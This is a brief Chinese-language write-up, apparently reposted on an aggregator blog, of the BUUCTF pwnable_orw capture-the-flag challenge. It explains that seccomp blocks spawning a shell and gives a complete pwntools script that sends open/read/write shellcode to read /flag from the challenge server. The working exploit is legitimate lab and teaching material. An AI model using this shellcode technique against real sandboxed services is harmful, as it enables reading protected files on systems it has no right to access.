[BUUCTF-pwn]——pwnable_orw (ORW)
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——pwnable_orw (ORW)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——pwnable_orw
第一次碰到orw的問題,所謂orw就是指你的系統調用被禁止了,不能通過子進程去獲得權限和flag,只能在該進程通過 open , read ,write來得到flag
這個時候可以通過seccomptools,來查看
注意看到prctl就是將系統調用給你禁止了
exploit
from pwn import * context.arch = 'i386' p = remote('node3.buuoj.cn',28626) shellcode = shellcraft.open('/flag') shellcode += shellcraft.read('eax','esp',100) shellcode += shellcraft.write(1,'esp',100) payload = asm(shellcode) p.send(payload) p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——pwnable_orw (ORW)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——cmcc_s
- 下一篇: [BUUCTF-pwn]——jarvis